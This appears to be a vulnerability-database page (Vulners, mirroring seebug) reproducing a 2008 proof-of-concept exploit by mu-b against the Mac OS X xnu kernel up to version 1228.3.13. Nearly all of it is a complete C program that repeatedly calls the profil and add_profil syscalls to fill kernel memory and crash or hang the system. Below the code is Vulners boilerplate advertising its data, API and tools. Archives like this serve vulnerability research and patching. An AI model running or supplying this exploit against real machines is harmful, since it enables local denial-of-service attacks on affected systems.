Lucene search
K

Mac OS X xnu <= 1228.3.13 (profil) Kernel Memory Leak/DoS PoC

🗓️ 24 Mar 2009 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 29 Views

Apple MACOS X xnu <= 1228.3.13 Kernel Memory Leak/DoS PoC by mu-b - Sat 16 Feb 2008

Code

                                                /* xnu-profil-leak.c
 *
 * Copyright (c) 2008 by &lt;[email protected]&gt;
 *
 * Apple MACOS X xnu &lt;= 1228.3.13 local kernel memory leak/DoS POC
 * by mu-b - Sat 16 Feb 2008
 *
 * - Tested on: Apple MACOS X 10.5.1 (xnu-1228.0.2~1/RELEASE_I386)
 *              Apple MACOS X 10.5.2 (xnu-1228.3.13~1/RELEASE_I386)
 *
 *    - Private Source Code -DO NOT DISTRIBUTE -
 * http://www.digit-labs.org/ -- Digit-Labs 2008!@$!
 */

#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;

#include &lt;fcntl.h&gt;
#include &lt;string.h&gt;
#include &lt;sys/syscall.h&gt;
#include &lt;unistd.h&gt;

/* profil defines */
#define PROFIL_LEAK_NUM   65536 * 128

int
main (int argc, char **argv)
{
  char buf[1024];
  int i, n;

  printf (\&quot;Apple MACOS X xnu &lt;= 1228.3.13 local kernel memory leak/DoS PoC\\n\&quot;
          \&quot;by: &lt;[email protected]&gt;\\n\&quot;
          \&quot;http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\\n\\n\&quot;);

  printf (\&quot;* opening profil, pid: %d...\&quot;, getpid ());
  if ((n = syscall (SYS_profil, &amp;buf, sizeof buf, 0, 1)) &lt; 0)
    {
      fprintf (stderr, \&quot;\\n%s: syscall [SYS_profil]: failed: %d\\n\&quot;,
               argv[0], n);
      exit (EXIT_FAILURE);
    }
  printf (\&quot;done\\n\&quot;);

  printf (\&quot;* filling %d-bytes of kernel memory...\\n\&quot;, PROFIL_LEAK_NUM * 32);
  fflush (stdout);

  for (i = 0; i &lt; PROFIL_LEAK_NUM; i++)
    {
      if ((n = syscall (SYS_add_profil, &amp;buf, sizeof buf, 0, 1)) &lt; 0)
        {
          fprintf (stderr, \&quot;\\n%s: syscall [SYS_add_profil]: failed: %d\\n\&quot;,
                   argv[0], n);
          exit (EXIT_FAILURE);
        }
      printf (\&quot;** %d-bytes filled\\r\&quot;,  i * 32);
    }
  printf (\&quot;\\n* done\\n\&quot;);

  while (1)
    sleep (1);

  return (EXIT_SUCCESS);
}
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation